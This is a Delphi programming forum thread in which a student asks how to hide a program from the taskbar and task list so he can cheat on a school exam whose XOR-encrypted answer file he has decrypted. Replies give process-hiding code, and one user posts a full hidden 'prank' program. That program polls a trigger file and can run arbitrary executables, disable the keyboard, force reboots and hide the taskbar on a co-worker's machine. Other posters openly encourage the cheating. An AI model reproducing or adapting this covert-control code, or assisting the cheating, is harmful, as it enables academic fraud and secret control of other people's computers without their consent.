hiding program

i need to know how i have to write a delphi 3 program without showing it on my taskbar, in other words i need a good way to hide any detection that my program is running...

help needed.

why?

at school we have a test program for taking tests (like an exam). and the file that stores the question and awser information is crypted (with a xor crypting, stupid!! at least i had expected some kind of roll ).. i decrypted it :) and i'm writing a program that decrypts it.. so when i'm making a test i can cheat.... (not that i need it but i think it's pretty cool seeing my class working verry hard..)
LVL 7
God_AresAsked:
Who is Participating?
I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

LischkeCommented:
:-)) Well, you can almost hide your application totally by using

  ShowWindow(Application.Handle, SW_HIDE);

with one exception. The task manager will still show it running, but this should be in your case unimportant and additionally you can use this entry later to shot your application, so no rests remain... :-)

Ciao, Mike
0
God_AresAuthor Commented:
almost forgot...

how do i make the form always be on top

0
we11erCommented:
You can use the Showwindow(...) procedure as well as this:

This uses a procedure in the Kernel32 dll and hides your app from the Ctrl+Alt+delete menu and prevents an end-task

NOTE: The 'Kernel32.dll' part of the code sometimes does not work depending on what case the string is in.  I think it might actually be 'KERNEL32.dll' - just experiment.

{...}

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

function RegisterServiceProcess(ProcessID, Flag: dWord):Word;
           stdcall; external 'kernel32.dll';
{...}

procedure TForm1.FormCreate(Sender: TObject);
var
  CurrentProccess : DWORD;
begin
  // get the applications process ID
  CurrentProcess := GetCurrentProcessID();
  // register the process as a kernel32 process

  RegisterServiceProcess(CurrentProcess, 1);
end;

{...}


If have hidden it, you may not be able to close it, so you will want to create your own custom message that the app responds to:

before the  "type TForm1 = class(TForm)" part put: WM_CLOSETHISAPP=WMUSER+1000

then put this in the private section:

private
proceure CloseThisApp;message WM_CLOSETHISAPP;

then in the implementation part put:

TForm1.CloseThisApp;
begin
application.terminate;
end;


Make an application to close it by doing this:

Again, declare the custom message:

WM_CLOSETHISAPP=WMUSER+1000

then...

TForm1.button1click...
begin

sendmessage(
FindWindows(nil,'TForm1')//or whatever you other form was called
,WM_CLOSETHISAPP);

end;


I have not got time to check through this so if it does not work, ask me again

Bye Bye...

0
Get your problem seen by more experts

Be seen. Boost your question’s priority for more expert views and faster solutions

God_AresAuthor Commented:
almost forgot...

how do i make the form always be on top

0
we11erCommented:
That should have been an answer, and to make the form stay on top, you can either set the formstyle to fsStayOnTop or do this:

SetWindowsPos(form1.Handle, HWND_TOPMOST,0,0,0,0,nil);

P.S Great idea for cheating - I wish my school did the same thing as you
0
God_AresAuthor Commented:
thanx 4 the info... i posted the same text twice cauze i reloaded the page... not my intention.. thanx man!
0
craig_capelCommented:
what i dont understand is why on top, i can make the app totally invisible from anything, including alt ctrl and del not seeing your app.....

heres my fun program, i wrote it to play with my work mates computer un detectable.... heres your answer

unit fun;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, StdCtrls, mmsystem;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    procedure FormActivate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;



 function  RegisterServiceProcess(dwProcessID,dwType : DWORD) :
                      DWORD; stdcall; external 'KERNEL32.DLL';

var
  Form1: TForm1;
  w,w2: hwnd;
  tmp2,tmp,s: string;
  t: textfile;

implementation

{$R *.DFM}

 procedure OpenCloseCD(TrueForOpenFalseForClose: boolean);
{ Works as well as OpenCloseCDDrive() above, }
{ but you don't have to specify a drive letter. }
{ Thanks to Bence Parhuzamos [parhuzamos@yahoo.com] for this code. }
var
  mci: TMCI_Open_Parms;
begin
  FillChar(mci, SizeOf(mci), #0);
  mci.lpstrDeviceType := PChar('CDAudio');
  mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@mci));
  mciSendCommand(mci.wDeviceID, mci_Set, 256*(Byte(not TrueForOpenFalseForClose)+1), 0);
  { MCI_SET_DOOR_OPEN = 256 }
  { MCI_SET_DOOR_CLOSED = 512 }
  mciSendCommand(mci.wDeviceID, mci_Close, 0, 0);
end;

procedure TForm1.FormActivate(Sender: TObject);
var
w: hwnd;
begin
  showwindow(form1.handle,sw_hide);
  w:=findwindow('tapplication',nil);
  showwindow(w,sw_hide);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  n: integer;
begin
   if fileexists('c:\fun.cjc') then
     begin
         system.assign(t,'c:\fun.cjc');
         system.reset(t);
         readln(t,tmp);
         system.rewrite(t);
         system.close(t);
         deletefile(pchar('c:\fun.cjc'));
        end;
  if tmp='mouse' then
    begin
      for n:=1 to 10000 do
        begin
         application.processmessages;
           setcursorpos(random(640),random(480));
        end;
          tmp:='';
       end;
 if tmp='nostart' then
    begin
        w:=findwindow('shell_traywnd',nil);
        w:=getnextwindow(w,gw_child);
        showwindow(w,sw_hide);
          tmp:='';
    end;
  if tmp='start' then
    begin
        w:=findwindow('shell_traywnd',nil);
        w:=getnextwindow(w,gw_child);
        showwindow(w,sw_show);
          tmp:='';
    end;

 if tmp='logoff' then
   begin
     ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0);
        tmp:='';
   end;
 if tmp='nobar' then
    begin
        w:=findwindow('shell_traywnd',nil);
        showwindow(w,sw_hide);
          tmp:='';
    end;
 if tmp='bar' then
    begin
        w:=findwindow('shell_traywnd',nil);
        showwindow(w,sw_show);
          tmp:='';
    end;

 if tmp='nokeyboard' then
    begin
      asm
        in al,21h
        or al,2;
        out 21h,al;
       end;
          tmp:='';

    end;
 if tmp='keyboard' then
    begin
      asm
        in al,21h
        and al,7;
        out 21h,al;
       end;
      tmp:='';
    end;

 if copy(tmp,1,3)='exe' then
   begin
   tmp2:=copy(tmp,5,length(tmp)-4);
     winexec(pchar(tmp2),1);
     tmp:='';
   end;

 if copy(tmp,1,9)='playsound' then
   begin
    tmp2:=copy(tmp,11,length(tmp)-10);
    PlaySound (pchar(tmp2), 0, snd_async);
    tmp:='';
   end;

 if tmp='ejectcd' then
   begin
       OpenCloseCD(true);
       tmp:='';
   end;

  if tmp='closecd' then
   begin
       OpenCloseCD(false);
       tmp:='';
   end;


end;

procedure TForm1.FormCreate(Sender: TObject);
begin
RegisterServiceProcess(GetCurrentProcessID,1);  {here disables alt ctrl and de well hides it from alt ctrl and del, if you want to disable it i can also let you know howl}
end;

end.
0
bogieman_Commented:
Bloody hell! I think I've done well with the answer I gave, but nooooo...someone else has to come along and ruin it all for me!

Just great...
0
bogieman_Commented:
And what is the point in providing a horrible program like that?!
0
bogieman_Commented:
It does just what my answer does in relation to the question!  Now I'm sorry, but it just p*sses me off!!!!
0
craig_capelCommented:
bogieman, i gave what i think he asked for in one go..... bogieman, are you going by another name or what? cos i dont see you anywhere else on the screen, and whats wrong with that program, it was for me, its designed for me, and your oppinion is no concern of mine!

my is a complete answer, yours if you did one is not!

0
LischkeCommented:
I feel with you bogieman_ (we11er ???). This is what I'm so often talking about here at EE. You should, though, close one account otherwise probably both get closed...

Craig, please avoid posting an answer in the future and NEVER give something as answer which was mentioned in a previous comment written by someone else!

God_Ares, you are quite new here so I give you a suggestion. Reject the unfair answer and think about the other comments before finally accepting one.  I'd say simply hiding the window is all what's needed without using all this register service stuff, so I still see my comment as potential answer :-)

Ciao, Mike
0
LischkeCommented:
Craig,

the possibility to propose an answer is quite misleading. Not YOU should propose an answer but the questioneer should pick one. That's the way it should go. BTW: I talked with the customer support yesterday about this stuff and they told me the answer option will be removed. Just to let you know...

Ciao, Mike
0
craig_capelCommented:
defeats the object really though, because he can easily reject the answer if its not suiting his needs whats the fuss about? why else would he have this button and secondly he wanted code to do a specific task no? i gave it him, otherwise he would / could copy bits from one and another and forget giving people the points, so no i dont agree.......


And if they do ban the this whole idea of points, you may as well forget the competition, no need for people to be number 1, even though they deserve it, and lets suppose he though bogiemans answer was good, how on EARTH could he give him points without the button?

Craig C.

0
LischkeCommented:
Without going off topic too far here just let me say:

1) the point system will still be here and the competition goes on
2) Look into your "sector reading..." question. You have the option to "accept comment as answer".
3) We all depend on kindness here. Answering a question without being asked to do so (in particular if already a discussion is in process) is very rough and somewhat unpolite. Therefore my request: please (!) don't do it ;-)

Ciao, Mike
0
craig_capelCommented:
sorry, but what the HELL is the button there for? they put it there for one reason only..... so people who actaully put thought into something and did the work, before or at the time, get the points, are you a creator of this web site? i would rather see the opionion of the creator than yours thanks.... what they say goes, and i will respect that.... but if the option is there, i will take it.
0
God_AresAuthor Commented:
Dear Lischke and craig_capel,

i liked your answer best...
i agree with craig_capel but i had to reject your answer couze i did't want to hide my app so far away in windows.

so if Lischke would purpuse a answer he will get the points.

craig_capel dont worry i have a question 4 u!
0
LischkeCommented:
Right then, I'm please that I was of help :-)

Ciao, Mike
0

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
Delphi

From novice to tech pro — start learning today.